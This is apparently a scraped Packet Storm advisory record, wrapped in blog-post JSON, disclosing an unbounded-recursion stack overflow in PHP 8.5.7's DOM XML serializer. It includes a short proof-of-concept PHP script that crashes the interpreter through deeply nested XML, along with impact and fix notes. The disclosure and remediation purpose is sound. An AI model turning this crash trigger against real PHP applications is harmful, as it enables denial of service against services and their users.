{“lastseen”:”2026-06-22T18:40:33″,”description”:”PHP version 8.5.7 suffers from a stack overflow vulnerability due to unbounded recursion in domxmlserializationalgorithm and domxmlserializeelementnode…”,”published”:”2026-06-22T00:00:00″,”modified”:”2026-06-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PHP 8.5.7 dom_xml_serialization_algorithm() Stack Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:223962″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow\\n \\n **Author:** Khashayar Fereidani\\n **Disclosure Date:** 2026-06-18\\n **Advisory:** https:\/\/fereidani.com\/php-857-domxmlserializationalgorithm-stack-overflow\\n **Contact:** https:\/\/fereidani.com\/contact\\n \\n ## Description\\n \\n The `dom_xml_serialization_algorithm()` and\\n `dom_xml_serialize_element_node()` functions in\\n `ext\/dom\/xml_serializer.c` rely on unbounded recursion to serialize\\n XML nodes. When serializing a deeply nested XML tree, the continuous\\n recursive calls exhaust the thread’s stack space, causing a\\n segmentation fault (SIGSEGV). This issue can be triggered via\\n `Dom\\\\XMLDocument::saveXml()` or by accessing the `$innerHTML` \/\\n `$outerHTML` properties of `Dom\\\\XMLDocument` elements. Note that\\n `Dom\\\\HTMLDocument` uses an iterative approach and is unaffected.\\n \\n ## Proof of concept\\n \\n “`php\\n \\u003c?php\\n \/\/ A stack overflow occurs due to unbounded recursion in\\n \/\/ dom_xml_serialization_algorithm() and dom_xml_serialize_element_node()\\n \/\/ within ext\/dom\/xml_serializer.c (introduced in PHP 8.4\/8.5).\\n \/\/ The file’s own TODO at line 41 notes:\\n \/\/ \\”TODO: implement iterative approach instead of recursive?\\”.\\n \/\/\\n \/\/ Under the default 8MB thread stack, serializing a deeply nested XML\\n \/\/ tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited`\\n \/\/ prevents the crash, proving it is stack exhaustion rather than a logic bug.\\n \/\/\\n \/\/ The vulnerability is reachable via Dom\\\\XMLDocument::saveXml()\\n \/\/ and the $innerHTML \/ $outerHTML properties of Dom\\\\XMLDocument elements.\\n \/\/ Note that Dom\\\\HTMLDocument is unaffected, as its HTML5 serializer\\n \/\/ (dom_html5_serialize_node) is iterative.\\n \\n $document = Dom\\\\XMLDocument::createEmpty();\\n $root = $document-\\u003ecreateElement(‘root’);\\n $document-\\u003eappendChild($root);\\n \\n $current = $root;\\n \\n \/\/ This loop creates a deeply nested tree.\\n \/\/ It crashes under the default stack limit but succeeds with `ulimit\\n -s unlimited`.\\n for ($i = 0; $i \\u003c 25000; $i++) {\\n $element = $document-\\u003ecreateElement(‘e’);\\n $current-\\u003eappendChild($element);\\n $current = $element;\\n }\\n \\n \/\/ This line is never reached under the default stack limit.\\n var_dump(strlen(@$document-\\u003esaveXml()));\\n “`\\n \\n Running the script results in:\\n \\n “`bash\\n Segmentation fault (core dumped) php poc.php\\n “`\\n \\n ## Impact\\n \\n An attacker could cause a Denial of Service (DoS) by providing a\\n maliciously crafted, deeply nested XML document. If the application\\n processes and attempts to serialize this untrusted structure, the PHP\\n process will abruptly crash due to stack exhaustion.\\n \\n ## Solution\\n \\n Refactor the serialization algorithm in `ext\/dom\/xml_serializer.c` to\\n use an iterative approach rather than unbounded recursion. A `TODO`\\n comment already exists in the file at line 41 (\\”TODO: implement\\n iterative approach instead of recursive?\\”). Alternatively, enforcing a\\n hard limit on DOM nesting depth during creation and parsing could\\n mitigate the exploitability.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223962″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223962\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-22T18:40:33″,”description”:”PHP version 8.5.7 suffers from a stack overflow vulnerability due to unbounded recursion in domxmlserializationalgorithm and domxmlserializeelementnode…”,”published”:”2026-06-22T00:00:00″,”modified”:”2026-06-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PHP 8.5.7 dom_xml_serialization_algorithm() Stack Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:223962″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# PHP 8.5.7 `dom_xml_serialization_algorithm()`…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64859","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n